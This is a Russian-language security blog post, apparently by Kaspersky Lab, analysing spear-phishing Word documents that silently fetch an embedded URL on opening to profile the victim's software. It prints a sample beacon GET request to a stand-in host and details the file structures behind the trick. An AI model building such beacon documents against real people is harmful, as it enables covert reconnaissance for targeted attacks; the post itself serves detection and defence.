(Не)документированная особенность Word, используемая злоумышленниками

Некоторое время назад, в процессе исследования деятельности целевой атаки Freakyshelly, мы обнаружили spear-phishing рассылку писем с интересными вложенными документами. Это были файлы в формате OLE2, которые не содержали ни макросов, ни эксплойтов, ни какого-либо другого активного контента. Однако при детальном рассмотрении обнаружилось, что внутри них есть несколько ссылок на PHP-скрипты, расположенные на сторонних ресурсах. При попытке открыть эти файлы в Microsoft Word оказалось, что приложение обращается по одной из этих ссылок. В результате обращения злоумышленники получали информацию об установленном на компьютере ПО.

Зачем это плохим парням? Для успешной направленной атаки, необходимо сначала провести разведку — найти выходы на предполагаемых жертв и собрать информацию о них. Например, узнать версию операционной системы и некоторых приложений на компьютере жертвы, чтобы затем отправить соответствующий эксплойт.

В нашем случае документ выглядел так:

На первый взгляд — ничего подозрительного, просто набор полезных советов на тему повышения эффективности при использовании поиска Google. В документе нет активного контента, нет VBA-макросов, вложенных Flash-объектов и PE-файлов. Но после того, как пользователь открывает документ, Word отсылает следующий GET-запрос по одной из внутренних ссылок. Мы взяли оригинальный документ, используемый в атаке, и заменили подозрительные ссылки на http://evil-*, вот что получилось:

GET http://evil-333.com/cccccccccccc/ccccccccc/ccccccccc.php?cccccccccc HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; MSOffice 12)
Accept-Encoding: gzip, deflate
Host: evil-333.com
Proxy-Connection: Keep-Alive

Таким образом к атакующим попадала информация об установленном на машине ПО, в том числе версия Microsoft Office. Мы решили разобраться, почему Office переходит по указанной ссылке и как можно такие ссылки находить в документах.

Внутри документа Word

Первое, что бросается в глаза при рассмотрении документа, – поле INCLUDEPICTURE с одной из подозрительных ссылок. Но, как можно заметить, по факту Word обращается не по ней.

На самом деле блок данных на картинке выше — первый и единственный кусок текста в этом документе. Текст в документах формата Word находится в потоке WordDocument в “сыром виде”, т.е. без какого-либо форматирования, за исключением так называемых полей. Поля говорят Word, что определенная часть текста должна быть показана при открытии документа специальным образом, к примеру, благодаря им мы видим активные ссылки на другие страницы документа, URL и т.п.  Поле INCLUDEPICTURE сообщает о том, что к определённым символам в тексте привязана картинка. Байт 0x13 (помечен красным) перед этим полем сигнализирует, что тут кончается “сырой текст” и начинается описание поля. Формат описания примерно таков (согласно [MS-DOC]: Word (.doc) Binary File Format):

Begin = 0x13
Sep = 0x14
End = 0x15
Field = <Begin> *<Field> [Sep] *<Field> <End>

Байт-разделитель 0x14 помечен желтым, а байт 0x15, говорящий об окончании поля, — розовым.

Ссылка на картинку в INCLUDEPICTURE должна быть в кодировке ASCII, но в данном случае она в Unicode, и поэтому Word ссылку игнорирует. Но после разделителя 0x14 идет байт 0x01 (помечен зеленым), говорящий о том, что для этой картинки есть так называемый заполнитель (placeholder), который “сообщает” редактору, что в это место должно быть вставлено изображение.  Вопрос: как его найти?

У символов и групп символов в тексте также имеются свойства, которые, как и поля, отвечают за форматирование (к примеру, они определяют, что какой-то кусок текста должен быть отображен курсивом). Свойства символов хранятся в двухуровневой таблице в потоках документа под названием xTable и Data. Не будем вдаваться в подробности разбора свойств символов – они имеют непростой формат, но в результате мы можем найти свойства символов со смещения 0x929 до 0x92C в потоке WordDocument:

Это как раз последовательность байт c picture placeholder’ом 0x14 0x01 0x15. В самом документе эти байты расположены по смещениям 0xB29 – 0xB2C, но поток WordDocument начинается со смещения 0x200, а смещения символов указаны относительно его начала.

Свойства группы символов CP[2] указывают на то, что к ним привязана некая картинка, которая расположена в потоке Data по смещению 0:

1FEF: prop[0]: 6A03 CPicLocation
1FF1: value[0]: 00000000 ; character = 14

Этот вывод сделан с учетом того, что в значении поля INCLUDEPICTURE указан байт 0x01, который говорит о том, что картинка должна располагаться в потоке Data по соответствующему смещению. Если бы этот значение было другим, то нужно было бы либо искать картинку в другом месте, либо проигнорировать это свойство.

Как раз тут мы натолкнулись на недокументированное свойство. Описание поля INCLUDEPICTURE в документации MS фактически отсутствует, вот что там написано:

0x43 INCLUDEPICTURE Specified in [ECMA-376] part 4, section 2.16.5.33.

В стандарте ECMA-376 описана только часть INCLUDEPICTURE до байта-разделителя. Там нет ничего про то, что могут значить данные после него и как их интерпретировать. Это было основной проблемой в понимании того, что же все-таки происходит.

Итак, переходим в поток Data по смещению 0, там расположена так называемая форма SHAPEFILE:

Формы описаны в другом документе Microsoft: [MS-ODRAW]: Office Drawing Binary File Format. У нее есть имя, в данном случае оно тоже представляет собой другую подозрительную ссылку:

Но поскольку это просто имя объекта, ссылка никак не используется. В процессе разбора этой формы посмотрим на поле флагов (обведено красным):

Значение 0x0000000E раскладывается в комбинацию трех флагов:

  • msoblipflagURL 0x00000002
  • msoblipflagDoNotSave 0x00000004
  • msoblipflagLinkToFile 0x00000008

Это говорит о том, что к форме должны прилагаться дополнительные данные (на рисунке они обведены желтым). И что эти данные представляют собой URL, по которому уже расположено фактическое содержимое формы. Также есть флаг, который препятствует тому чтобы при открытии документа это содержимое сохранилось в самом документе – do not save.

Если посмотреть, что собой представляет этот URL, то мы обнаружим, что это та самая ссылка, по которой переходит Word при открытии документа:

Заметим, что кроме Word для Windows, эта “фича” присутствует в Microsoft Office для iOS и Android, а вот LibreOffice и OpenOffice ее не поддерживают: при открытии документа в этих офисных пакетах, обращения к ссылке не происходит.

Вот такой сложный механизм был создан “плохими парнями” для проведения профилирования потенциальных жертв целевых атак. Т.е. они проводят серьезные глубокие исследования, чтобы осуществлять целевые атаки и оставаться незамеченными.

Продукты “Лаборатории Касперского” умеют определять, что в документах используется описанная в статье техника, и находить ссылки, вставленные в документы посредством этой техники, чтобы затем их проверить.

Публикации на схожие темы

Всего комментариев: 2
  1. Oлег

    Версия 12 на скриншоте, – это MS Office 2007. Как так вышло, что вы не указали форматы DOC и RTF, где может жить объект OLE?

  2. Алексей

    “…Продукты «Лаборатории Касперского» умеют определять, что в документах используется описанная в статье техника, и находить ссылки, вставленные в документы посредством этой техники, чтобы затем их проверить.”

    Если ссылка, только для анализа системы, то она как я понимаю даже если и будет проверена, то ничего не будет найдено. Вот если бы в файловом мониторе KES была функция запрета запросов по таки ссылкам… Вот это было бы отлично!

Leave a Reply

Your email address will not be published. Required fields are marked *